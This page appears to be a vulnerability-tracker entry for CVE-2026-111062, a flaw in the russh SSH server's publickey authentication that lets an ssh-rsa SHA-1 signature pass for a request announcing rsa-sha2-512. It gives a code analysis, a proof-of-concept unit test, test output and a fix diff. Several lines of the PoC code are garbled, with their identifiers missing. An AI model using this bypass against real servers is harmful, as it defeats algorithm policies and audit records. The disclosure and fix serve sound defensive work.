Live › vulnerability › CVE-2026-111062
Go to dashboardThe russh SSH server does not check that the signature algorithm in a publickey authentication matches the algorithm named in the request, so it verifies a signature by the hash inside the signature blob. An attacker holding a valid RSA private key can get a SHA-1 ssh-rsa signature accepted for a request announcing rsa-sha2-512, which defeats server policies that refuse SHA-1 or rely on the announced algorithm.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| russh | cargo | >= 0.34.0-beta.1, < 0.64.0 | 0.64.0 |
Check whether the application depends on russh as a server: grep Cargo.lock for name = "russh" and look at the version, affected if >= 0.34.0-beta.1 and < 0.64.0.
Upgrade russh to 0.64.0 or later.
Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):
pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).pubkey_algo and sig.algorithm() are never compared.So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.
Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.
The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.
pubkey.set_algorithm(algo_)), then verifies.ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.
A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.
main.mod tests { ... } of russh/src/server/encrypted.rs.cargo test --lib poc_sha1.// ---- PoC: signature algorithm not checked against the requested one ----
/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
authenticated: bool,
}
impl Handler for AcceptAnyKey {
type Error = Error;
async fn auth_publickey_offered(
&mut self,
_user: &str,
_public_key: &PublicKey,
) -> Result<Auth, Self::Error> {
Ok(Auth::Accept)
}
async fn auth_publickey(
&mut self,
_user: &str,
_public_key: &PublicKey,
) -> Result<Auth, Self::Error> {
self.authenticated = true;
Ok(Auth::Accept)
}
}
/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
user: &str,
private_key: Arc<PrivateKey>,
announced: &str,
hash: Option<crate::keys::HashAlg>,
) <> {
= ::();
packet.(msg::USERAUTH_REQUEST);
user.(& packet).();
.(& packet).();
.(& packet).();
.(& packet).();
announced.(& packet).();
private_key.().().().(& packet).();
= ::();
CryptoVec::().().(& signed).();
signed.(&packet);
=
(&PrivateKeyWithHashAlg::(private_key, hash), &signed).();
signature.(& packet).();
packet
}
() {
= ssh_key::private::RsaKeypair::(& rand::(), ).();
= Arc::(PrivateKey::(rsa));
= ();
= AcceptAnyKey::();
= (, private, , );
session.(& handler, &packet)..();
(
!handler.authenticated,
);
}
Result on unmodified 0.63.3:
test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512
With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.
Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.
--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
map_err!(ensure_end(&signature_reader))?;
map_err!(ensure_end(r))?;
+ // RFC 8332 §3: the signature must use the algorithm the
+ // request names.
+ let offered_algorithm = match pk_or_cert {
+ PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+ PublicKeyOrCertificate::Certificate(_) => {
+ <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+ }
+ };
+ if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+ debug!("signature algorithm does not match the requested one");
+ auth_user.clear();
+ reject_auth_request(until, &mut self.write, auth_request).await?;
+ return Ok(());
+ }
+
let is_valid = if accepted_probe_matches && user == auth_user {
true
} else {
This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.
Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:
ssh-rsa) signatures, as OpenSSH does by default since 8.8;Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.
Not impacted:
ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.This page as .md · .json · in your agent: get_signal("CVE-2026-111062")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.